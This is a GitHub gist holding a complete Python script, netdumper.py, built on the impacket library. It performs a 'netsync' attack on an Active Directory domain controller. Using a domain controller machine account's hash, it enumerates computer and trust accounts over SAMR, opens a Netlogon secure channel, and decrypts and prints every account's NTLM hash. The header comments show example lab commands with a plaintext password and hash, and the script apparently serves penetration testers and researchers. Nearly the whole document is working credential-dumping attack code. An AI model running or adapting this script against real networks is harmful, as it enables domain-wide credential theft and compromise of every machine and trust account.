Skip to content

Instantly share code, notes, and snippets.

@ThePirateWhoSmellsOfSunflowers
Created March 4, 2025 11:14
Show Gist options
  • Save ThePirateWhoSmellsOfSunflowers/4efeea0e405ee8a53c8aa9f4f515d9ad to your computer and use it in GitHub Desktop.
Save ThePirateWhoSmellsOfSunflowers/4efeea0e405ee8a53c8aa9f4f515d9ad to your computer and use it in GitHub Desktop.
This script perform a netsync attack. No SMB involved
from impacket.dcerpc.v5 import epm, rpcrt, transport, nrpc, samr
from impacket.uuid import bin_to_uuidtup
from impacket.crypto import SamDecryptNTLMHash
from binascii import unhexlify, hexlify
from random import randbytes
import sys
import argparse
# This script perform a netsync attack. No SMB involved
# My first idea was to only use netlogon SSP, however SAMR seems not compatible
# Tested with impacket ead516a1209742efc7ac550707a9304ba08681e9 on GOAD
# 1) secretsdump.py essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.56.12 -just-dc-user 'MEEREEN$' -just-dc-ntlm
# 2) python netdumper.py -u MEEREEN -d ESSOS -t meereen.essos.local --hashes dbf7644e2ac7dc47a2029848c398c5b3
# Based on
# - https://github.com/4ndr3w6/Presentations/blob/main/Texas_Cyber_Summit_2023/Slides/You_Disliked_DCSync_Wait_For_NetSync_Texas_Cyber_Summit_2023_Charlie_Andrew_Final.pdf
# - https://trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1
# - https://github.com/Ridter/netsync
#
# Not tested in prod, use at your own risk
#
# @lowercase_drm / ThePirateWhoSmellsOfSunflowers
def argparser(argv):
arg_parser = argparse.ArgumentParser(prog='netdumper.py', description='\n netsync implementation')
arg_parser.add_argument('-u', '--user', required=True, help='Domain controller account used to connect to DC')
arg_parser.add_argument('-d', '--domain', required=True, dest='domain', help='NETBIOS name of the domain we authenticate with')
arg_parser.add_argument('--hashes', required=True, action='store', metavar = 'LMHASH:NTHASH', help='NTLM hashes, format is [LMHASH:]NTHASH')
arg_parser.add_argument('-t', '--dc-ip', dest='domain_controller', help='IP address of the Domain Controller to target')
arg_parser.add_argument('--debug', action="store_true", help='Debug mode')
args = arg_parser.parse_args(argv)
if args.hashes:
try:
args.lmhash, args.nthash = args.hashes.split(':')
except ValueError:
args.lmhash, args.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
finally:
args.password = str()
else:
args.lmhash = args.nthash = str()
if args.password is None and not args.hashes:
from getpass import getpass
args.password = getpass('Password:')
return args
args = argparser(sys.argv[1:])
host=args.domain_controller
computer_hash = unhexlify(args.nthash)
primary_name = ""
computer_name = args.user
domain = args.domain
account_name = computer_name + '$'
password = 'placeholder'
debugprint = print if args.debug else lambda *a, **k: None
netlogon_sc_type = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authn_level_packet = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY
uac_channels = {samr.USER_WORKSTATION_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
samr.USER_SERVER_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
samr.USER_INTERDOMAIN_TRUST_ACCOUNT : nrpc.NETLOGON_SECURE_CHANNEL_TYPE.TrustedDomainSecureChannel}
samr_uuid = samr.MSRPC_UUID_SAMR
nrpc_uuid = nrpc.MSRPC_UUID_NRPC
syntax = rpcrt.DCERPC.NDR64Syntax
debugprint('[+] Calling hept_map: {}'.format(bin_to_uuidtup(samr_uuid)))
binding_string_samr = epm.hept_map(host, samr_uuid, dataRepresentation=syntax, protocol='ncacn_ip_tcp')
debugprint("[x] Binding string: {}".format(binding_string_samr))
rpctransport = transport.DCERPCTransportFactory(binding_string_samr)
# SAMR seems not compatible with netlogon SSP :'(
# so here, we use NTLM SSP
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.set_credentials(computer_name + '$', password, domain, nthash=computer_hash)
dce.set_auth_level(authn_level_packet)
dce.bind(samr.MSRPC_UUID_SAMR)
debugprint('[+] Calling SamrConnect')
server_handle = samr.hSamrConnect(dce)['ServerHandle']
debugprint('[-] server handle: {}'.format("".join((format(x, '02x') for x in server_handle))))
domain_name = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle)['Buffer']['Buffer'][0]['Name']
debugprint('[-] domain name: {}'.format(domain_name))
domain_id = samr.hSamrLookupDomainInSamServer(dce, server_handle, domain_name)['DomainId']
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_id)['DomainHandle']
debugprint('[-] domain handle: {}'.format("".join((format(x, '02x') for x in domain_handle))))
debugprint('[+] Calling SamrEnumerateUsersInDomain')
computers = list()
for uac in uac_channels.keys():
names = samr.hSamrEnumerateUsersInDomain(dce, domain_handle, uac)['Buffer']['Buffer']
for name in names:
computers.append({'uac': uac,'name': name['Name']})
debugprint('[-] Found {} candidates'.format(len(computers)))
debugprint('[+] Calling hept_map: {}'.format(bin_to_uuidtup(nrpc_uuid)))
binding_string_nrpc = epm.hept_map(host, nrpc_uuid, dataRepresentation=syntax, protocol='ncacn_ip_tcp')
debugprint("[x] Binding string: {}".format(binding_string_nrpc))
rpctransport = transport.DCERPCTransportFactory(binding_string_nrpc)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(nrpc_uuid, transfer_syntax=bin_to_uuidtup(syntax))
clientchall = randbytes(8)
debugprint("[-] client chall: {}".format("".join((format(x, '02x') for x in clientchall))))
debugprint("[x] Calling NetrServerReqChallenge")
resp = nrpc.hNetrServerReqChallenge(dce, primary_name, computer_name + '\x00', clientchall)
debugprint("[x] NetrServerReqChallenge ok!")
serverchall = resp["ServerChallenge"]
debugprint("[-] server chall: {}".format("".join((format(x, '02x') for x in serverchall))))
sessionKey = nrpc.ComputeSessionKeyAES(None, clientchall, serverchall, computer_hash)
clientcred = nrpc.ComputeNetlogonCredentialAES(clientchall, sessionKey)
debugprint("[-] session Key: {}".format("".join((format(x, '02x') for x in sessionKey))))
debugprint("[-] client credential: {}".format("".join((format(x, '02x') for x in clientcred))))
debugprint("[+] Calling NetrServerAuthenticate3")
resp = nrpc.hNetrServerAuthenticate3(dce, primary_name + '\x00', account_name + '\x00',
netlogon_sc_type,
computer_name + '\x00', clientcred, 0x613FFFFF)
debugprint("[x] NetrServerAuthenticate3 ok!")
servercred = resp['ServerCredential']
debugprint("[-] server credential: {}".format("".join((format(x, '02x') for x in servercred))))
dce.set_credentials(computer_name + '$', password, domain)
dce.set_auth_type(rpcrt.RPC_C_AUTHN_NETLOGON)
dce.set_auth_level(authn_level_packet)
dce.set_aes(True)
resp = dce.bind(nrpc_uuid, alter=1, transfer_syntax=bin_to_uuidtup(syntax))
auth = nrpc.ComputeNetlogonAuthenticatorAES(clientcred, sessionKey)
debugprint("[-] Netlogon authenticator: {}".format("".join((format(x, '02x') for x in auth['Credential']))))
dce.set_session_key(sessionKey)
debugprint('[+] Calling NetrLogonGetCapabilities')
resp = nrpc.hNetrLogonGetCapabilities(dce, primary_name, computer_name, auth)
debugprint("[x] NetrLogonGetCapabilities ok!")
auth = resp['ReturnAuthenticator']
debugprint("[-] Returned auth: {}".format("".join((format(x, '02x') for x in auth['Credential']))))
debugprint("[+] Calling NetrServerGetTrustInfo on each target")
for target in computers:
# The trick here is to set the same channel option as the UAC
resp = nrpc.hNetrServerGetTrustInfo(dce, computer_name, target['name'], uac_channels.get(target['uac']), computer_name, auth)
auth = resp['ReturnAuthenticator']
print("{}\{}:{}".format(domain_name, target['name'], hexlify(SamDecryptNTLMHash(resp['EncryptedNewOwfPassword'], sessionKey)).decode('utf8')))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment